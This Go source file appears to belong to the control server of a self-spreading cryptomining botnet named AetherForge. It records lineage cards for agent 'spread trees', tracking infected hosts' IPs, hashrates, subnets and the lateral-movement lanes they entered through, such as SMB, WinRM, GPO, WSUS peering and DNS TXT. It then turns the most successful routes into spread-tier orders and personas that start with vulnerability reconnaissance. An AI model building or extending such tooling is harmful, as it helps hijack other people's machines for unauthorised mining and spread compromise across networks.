AetherForge/server/internal/strategy/strain_card.go

package strategy

import (
	"crypto/sha256"
	"fmt"
	"sort"
	"strings"
	"time"
)

// StrainParent is one node in a winning spread tree lineage.
type StrainParent struct {
	AgentID    string `json:"agent_id"`
	AgentName  string `json:"agent_name,omitempty"`
	JoinLane   string `json:"join_lane,omitempty"`
	SpreadLane string `json:"spread_lane,omitempty"`
	Generation int    `json:"generation,omitempty"`
}

// StrainCard is light gamification metadata for a winning spread tree.
type StrainCard struct {
	ID                  string         `json:"id"`
	RootAgentID         string         `json:"root_agent_id"`
	SourceAgentID       string         `json:"source_agent_id"`
	SourceAgentName     string         `json:"source_agent_name"`
	SpreadStrain        string         `json:"spread_strain"`
	SpreadLane          string         `json:"spread_lane"`
	Persona             string         `json:"persona"`
	Parents             []StrainParent `json:"parents"`
	Wins                []string       `json:"wins"`
	Losses              []string       `json:"losses"`
	Subnets             []string       `json:"subnets"`
	ErasureRecoveryRate float64        `json:"erasure_recovery_rate"`
	PeakHashrate        float64        `json:"peak_hashrate"`
	TierOrder           []string       `json:"tier_order"`
	TreeSize            int            `json:"tree_size"`
	CreatedAt           time.Time      `json:"created_at"`
	UpdatedAt           time.Time      `json:"updated_at"`
}

// SpreadTreeAgent is minimal agent telemetry for card synthesis.
type SpreadTreeAgent struct {
	ID               string
	Name             string
	IP               string
	ParentAgentID    string
	SpreadGeneration int
	SpreadStrain     string
	JoinLane         string
	Hashrate         float64
}

// SpreadStrainFromJoinLane returns a stable #RRGGBB hex for UI strain grouping.
func SpreadStrainFromJoinLane(lane string) string {
	lane = strings.TrimSpace(strings.ToLower(lane))
	if lane == "" {
		return ""
	}
	sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
	return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
}

var erasureJoinLanes = map[string]bool{
	"dns_txt":         true,
	"wsus_cache_peer": true,
	"do_peer":         true,
}

// PersonaFromSpreadLane maps a winning join/spread lane to a Calibrate persona preset.
func PersonaFromSpreadLane(lane string) string {
	lane = strings.TrimSpace(strings.ToLower(lane))
	switch lane {
	case "winrm", "smb", "gpo":
		return "aggressive"
	case "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh":
		return "persuasive"
	case "docker", "wsl", "container":
		return "silent"
	case "powershell", "dotnet", "bits_curl":
		return "balanced"
	default:
		return "balanced"
	}
}

// BuildStrainCardInput is the publish payload for auto-generating a lineage card.
type BuildStrainCardInput struct {
	SourceAgentID   string
	SourceAgentName string
	SpreadLane      string
	TierOrder       []string
	PeakHashrate    float64
	Attempts        []TierAttempt
	TreeAgents      []SpreadTreeAgent
	ParentLanes     []string
}

// CollectSpreadTree returns the root agent id and all agents in the spread tree.
func CollectSpreadTree(agents []SpreadTreeAgent, sourceAgentID string) (rootID string, tree []SpreadTreeAgent) {
	sourceAgentID = strings.TrimSpace(sourceAgentID)
	if sourceAgentID == "" || len(agents) == 0 {
		return "", nil
	}
	byID := make(map[string]SpreadTreeAgent, len(agents))
	children := make(map[string][]SpreadTreeAgent)
	for _, a := range agents {
		byID[a.ID] = a
		if p := strings.TrimSpace(a.ParentAgentID); p != "" {
			children[p] = append(children[p], a)
		}
	}
	rootID = sourceAgentID
	for {
		a, ok := byID[rootID]
		if !ok {
			break
		}
		p := strings.TrimSpace(a.ParentAgentID)
		if p == "" {
			break
		}
		rootID = p
	}
	seen := make(map[string]bool)
	queue := []string{rootID}
	for len(queue) > 0 {
		id := queue[0]
		queue = queue[1:]
		if seen[id] {
			continue
		}
		seen[id] = true
		if a, ok := byID[id]; ok {
			tree = append(tree, a)
			for _, child := range children[id] {
				queue = append(queue, child.ID)
			}
		}
	}
	sort.Slice(tree, func(i, j int) bool {
		if tree[i].SpreadGeneration == tree[j].SpreadGeneration {
			return tree[i].ID < tree[j].ID
		}
		return tree[i].SpreadGeneration < tree[j].SpreadGeneration
	})
	return rootID, tree
}

// BuildStrainCard synthesizes card JSON from a winning spread tree.
func BuildStrainCard(in BuildStrainCardInput) StrainCard {
	now := time.Now().UTC()
	lane := strings.TrimSpace(in.SpreadLane)
	rootID, tree := CollectSpreadTree(in.TreeAgents, in.SourceAgentID)
	if rootID == "" {
		rootID = strings.TrimSpace(in.SourceAgentID)
	}
	if len(tree) == 0 && strings.TrimSpace(in.SourceAgentID) != "" {
		tree = []SpreadTreeAgent{{ID: in.SourceAgentID, Name: in.SourceAgentName}}
	}

	wins, losses := tierWinLossLists(in.Attempts)
	parents := buildStrainParents(tree, in.ParentLanes)
	subnets := collectTreeSubnets(tree)
	erasureRate := computeErasureRecoveryRate(tree)

	strain := SpreadStrainFromJoinLane(lane)
	for i := len(tree) - 1; i >= 0; i-- {
		if s := strings.TrimSpace(tree[i].SpreadStrain); s != "" {
			strain = s
			break
		}
	}

	card := StrainCard{
		RootAgentID:         rootID,
		SourceAgentID:       strings.TrimSpace(in.SourceAgentID),
		SourceAgentName:     strings.TrimSpace(in.SourceAgentName),
		SpreadStrain:        strain,
		SpreadLane:          lane,
		Persona:             PersonaFromSpreadLane(lane),
		Parents:             parents,
		Wins:                wins,
		Losses:              losses,
		Subnets:             subnets,
		ErasureRecoveryRate: erasureRate,
		PeakHashrate:        in.PeakHashrate,
		TierOrder:           append([]string(nil), in.TierOrder...),
		TreeSize:            len(tree),
		CreatedAt:           now,
		UpdatedAt:           now,
	}
	if card.TierOrder == nil {
		card.TierOrder = []string{}
	}
	if card.Wins == nil {
		card.Wins = []string{}
	}
	if card.Losses == nil {
		card.Losses = []string{}
	}
	if card.Subnets == nil {
		card.Subnets = []string{}
	}
	if card.Parents == nil {
		card.Parents = []StrainParent{}
	}
	return card
}

func buildStrainParents(tree []SpreadTreeAgent, parentLanes []string) []StrainParent {
	out := make([]StrainParent, 0, len(tree))
	for i, a := range tree {
		if i == 0 && strings.TrimSpace(a.ParentAgentID) == "" {
			continue
		}
		lane := strings.TrimSpace(a.JoinLane)
		spreadLane := lane
		if i > 0 && i-1 < len(parentLanes) {
			spreadLane = strings.TrimSpace(parentLanes[i-1])
		}
		out = append(out, StrainParent{
			AgentID:    a.ID,
			AgentName:  a.Name,
			JoinLane:   lane,
			SpreadLane: spreadLane,
			Generation: a.SpreadGeneration,
		})
	}
	return out
}

func tierWinLossLists(attempts []TierAttempt) (wins, losses []string) {
	seenWin := make(map[string]bool)
	seenLoss := make(map[string]bool)
	for _, a := range attempts {
		tier := strings.TrimSpace(a.Tier)
		if tier == "" {
			continue
		}
		if a.OK {
			if !seenWin[tier] {
				wins = append(wins, tier)
				seenWin[tier] = true
			}
			continue
		}
		if !seenLoss[tier] {
			losses = append(losses, tier)
			seenLoss[tier] = true
		}
	}
	return wins, losses
}

func collectTreeSubnets(tree []SpreadTreeAgent) []string {
	seen := make(map[string]bool)
	out := make([]string, 0, len(tree))
	for _, a := range tree {
		subnet := subnetFromIP(a.IP)
		if subnet == "" || seen[subnet] {
			continue
		}
		seen[subnet] = true
		out = append(out, subnet)
	}
	sort.Strings(out)
	return out
}

func computeErasureRecoveryRate(tree []SpreadTreeAgent) float64 {
	if len(tree) == 0 {
		return 0
	}
	var attempts, recoveries int
	for _, a := range tree {
		lane := strings.TrimSpace(strings.ToLower(a.JoinLane))
		if lane == "" || !erasureJoinLanes[lane] {
			continue
		}
		attempts++
		if a.Hashrate > 0 {
			recoveries++
		}
	}
	if attempts == 0 {
		return 0
	}
	return float64(recoveries) / float64(attempts)
}

// TemperamentFromCard builds spread_temperament policy from a strain card.
func TemperamentFromCard(card StrainCard) AdaptiveStrategy {
	order := card.TierOrder
	if len(order) == 0 {
		order = PersonaSpreadTierOrder(card.Persona)
	}
	reason := StrategyReason{
		Fact:      "lineage_strain_card=" + card.ID,
		Inference: "Operator played winning spread tree strain on agent",
		Action:    "Apply tier order: " + strings.Join(order, " → "),
	}
	return AdaptiveStrategy{
		TierOrder:  append([]string(nil), order...),
		Reasoning:  []StrategyReason{reason},
		Confidence: 0.9,
		UpdatedAt:  time.Now().UTC().Format(time.RFC3339),
	}
}

// PersonaSpreadTierOrder returns spread tier order for a persona id (mirrors fleet AI).
func PersonaSpreadTierOrder(persona string) []string {
	switch strings.ToLower(strings.TrimSpace(persona)) {
	case "aggressive":
		return []string{
			"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
			"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
		}
	case "silent":
		return []string{
			"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
			"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
		}
	case "passive":
		return []string{
			"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
			"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
		}
	case "persuasive":
		return []string{
			"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
			"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
		}
	default:
		return []string{
			"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
			"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
		}
	}
}